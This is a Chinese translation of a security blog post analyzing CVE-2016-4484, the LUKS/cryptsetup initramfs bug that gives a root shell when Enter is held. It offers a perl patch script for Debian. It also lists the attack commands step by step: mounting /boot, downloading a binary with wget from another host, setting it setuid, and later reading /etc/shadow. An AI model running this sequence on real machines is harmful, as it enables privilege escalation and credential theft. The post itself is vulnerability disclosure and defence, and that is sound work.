双键入侵:CVE-2016-4484 LUKS加密漏洞深度解析

本文详细分析了CVE-2016-4484漏洞,该漏洞允许攻击者通过按住回车键进入Linux系统的root shell,尽管数据仍被加密,但可能被用于权限提升和信息泄露等攻击。

双键入侵

Logan Lembke //

第一步:开机。第二步:回车。第三步:???? 第四步:获利。

在安全行业,我们热爱加密。然而,有时加密引入的复杂性可能会在未来反咬我们一口。上周五(11月11日)在维也纳的DeepSec 2016上宣布了一个严重的案例。

CVE-2016-4484:在启动大多数启用硬盘加密(LUKS)的Linux计算机后,您可以通过简单地按住回车键进入root shell。

好吧,这听起来很糟糕,而且确实如此。然而,您获得的shell被严重剥离,加密磁盘仍然加密。幸运的是,这意味着潜在攻击者将无法访问系统上的大部分数据。

然而,发现者Hector Marco和Ismael Ripoll迅速指出,该漏洞仍然可用于恶意活动,例如:

  • 权限提升:由于启动分区通常未加密:
    • 可用于存储启用SetUID位的可执行文件。之后可由本地用户用于提升权限。
    • 如果启动未受保护,则可以替换内核和initrd映像。
  • 信息泄露:可以访问所有磁盘。尽管系统分区已加密,但可以复制到外部设备,之后可以进行暴力破解。显然,可以访问其他设备中的未加密信息。
  • 拒绝服务:攻击者可以删除所有磁盘上的信息。

(引自 http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html

如何修复问题?

遗憾的是,此错误出现在几个不同的代码库中,使其更难修复。在基于Debian的系统上,此问题存在于cryptsetup包中,而在基于RHEL的系统上,问题在于dracut包。在撰写本文时,我尚未听说基于mkinitcpio的系统是否受到影响。

在基于Debian的系统上,错误是由cryptsetup打包的cryptroot shell脚本中的off by one错误引起的。Marco和Ripoll在此解释错误。(链接到 http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html)官方补丁已推送到Debian的不稳定和测试存储库,但补丁尚未推送到稳定分支。此外,Ubuntu尚未向任何存储库推送补丁。

在等待官方补丁时,您可以运行以下基于Marco和Ripoll建议的修复脚本来保护系统。

CVE-2016-4484-Debian-Fix

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh

perl -i -lpe '

if (/^[\s]+count=0/){

        print "\tsuccess=0";

};

if (/^[\s]+message "cryptsetup: \$crypttarget set up successfully"/){

        print "\t\tsuccess=1";

};

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

perl -i -0777 -pe '

s/[\s]+if \[ \$crypttries -gt 0 \] && \[ \$count -gt \$crypttries \];

then[\s]+message "cryptsetup: maximum number of tries exceeded for

\$crypttarget"[\s]+return 1/\n\tif [ \$success -eq 0 ];

then\n\t\tmessage \"cryptsetup: Maximum number of tries exceeded. 
Please

reboot.\"\n\t\twhile true; do\n\t\t\tsleep 100\n\t\tdone/

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

update-initramfs -u

不幸的是,我无法为基于RHEL的系统上的dracut提供修复。Dracut是一个基于事件的工具,用于生成启动Linux系统时使用的初始ram磁盘,我不太熟悉其代码库。然而,修复可能很简单,但在查看代码后,我没有很快注意到如何修复它。

同时,请在此处查看官方补丁的进展:

是时候开始工作了!

谁关心需要物理访问的漏洞?

虽然利用此漏洞需要物理访问,但在虚拟环境中仍然致命。想象一下攻击者正在跟踪您的hypervisor。利用此漏洞,攻击者有一种简单的方法来提升其在加密虚拟机上的权限。

攻击者等待虚拟机关闭,跳入root shell,挂载未加密的启动分区,加载一些程序到其上,设置程序的sticky bit,关闭虚拟机,并等待有人重新登录。现在,攻击者只需运行他们加载到启动分区中的程序即可获得root访问权限。

用于执行此攻击的命令如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
##使用CVE 2016 4484进入shell

#挂载启动分区

mkdir /boot

mount /dev/sda1 /boot

#设置IP地址以接收可执行文件

#注意:initramfs中包含的busybox可执行文件不适用于sticky bit

ip address add 192.168.0.74/24

ifconfig ens33 up

#在另一台计算机上提供/usr/bin(192.168.0.100/24)

#下载nano到启动分区

cd /boot

wget 192.168.0.100/nano

#设置sticky bit

chmod 4755 nano

#关机

cd ..

umount /dev/sda1

poweroff

#等待并获取对低权限帐户的访问权限

/boot/nano /etc/shadow

#胜利。

注意:这是在Ubuntu Server 16.04上测试的。Fedora 24似乎不易受此攻击,因为默认情况下dracut shell中不包含chmod。然而,dracut默认包含vi,应该容易受到sticky bit攻击。

我们如何防止这些类型的漏洞?

与此漏洞相关的代码都是开源的。只是没有足够的关键读者审查代码。作为这些非常受欢迎的项目的用户,我们有责任偶尔参与代码审查过程。不仅是这些项目的贡献者失败了。我们也失败了。下次您使用对业务或日常习惯至关重要的技术时,检查其源代码是否可用。浏览一下。看看您是否能捕捉到创建它时的一些巧思。如果您不懂代码,请查看项目的wiki和错误跟踪器。我们常常对软件视而不见,当像这样的漏洞出现时,我们才会大声疾呼。

在官方披露中了解更多关于CVE-2016-4484的信息。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计